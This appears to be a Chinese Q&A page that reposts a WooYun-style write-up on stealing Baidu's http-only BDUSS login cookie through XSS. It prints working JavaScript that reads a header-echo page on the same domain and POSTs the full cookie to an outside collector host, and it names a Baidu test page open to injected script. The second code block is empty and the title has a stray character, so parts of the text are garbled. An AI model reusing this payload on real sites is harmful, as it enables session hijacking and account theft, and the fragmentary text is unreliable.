如何通过 XSS 获取受 http-only さcookie

2025-05-09 20:49:57
推荐回答(1个)
回答1:

该测试页返回了完整的http头,其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段,同时该字段是受http-only保护的,百度SRC之前也因此下调了XSS的评分标准。
02.jpg

这样,我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:

code 区域
var u = 'http://buv.me/index.php?do=api&id={projectId}';

var cr;

if (document.charset) {

cr = document.charset

} else if (document.characterSet) {

cr = document.characterSet

};

function createXmlHttp() {

if (window.XMLHttpRequest) {

xmlHttp = new XMLHttpRequest()

} else {

var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');

for (var n = 0; n < MSXML.length; n++) {

try {

xmlHttp = new ActiveXObject(MSXML[n]);

break

} catch(e) {}

}

}

}

createXmlHttp();

xmlHttp.onreadystatechange = writeSource;

xmlHttp.open("GET", "http://appstest.baidu.com/http/echoheader.php", true);

xmlHttp.send(null);

function postSource(cc) {

createXmlHttp();

url = u;

cc = "mycode=" + cc;

xmlHttp.open("POST", url, true);

xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlHttp.setRequestHeader("Content-length", cc.length);

xmlHttp.setRequestHeader("Connection", "close");

xmlHttp.send(cc)

}

function writeSource() {

if (xmlHttp.readyState == 4) {

var c = new postSource(xmlHttp.responseText)

}

}

由于是用xmlHttpRequest的形式读源码,且 http://appstest.baidu.com/ 的 Access-Control-Allow-Origin 为空,即默认不允许跨域,所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。

我在 http://wooyun.org/bugs/wooyun-2014-051026/trace/e80c9b4ecb9c252d6bdfdb21c335164d 中有提到, http://appstest.baidu.com/abnormalTest/abnormaTest.php?typeName=single 可以自由构造XSS。我们向该页面写入如下代码:

code 区域
wooyun.org

超威蓝猫@wooyun.org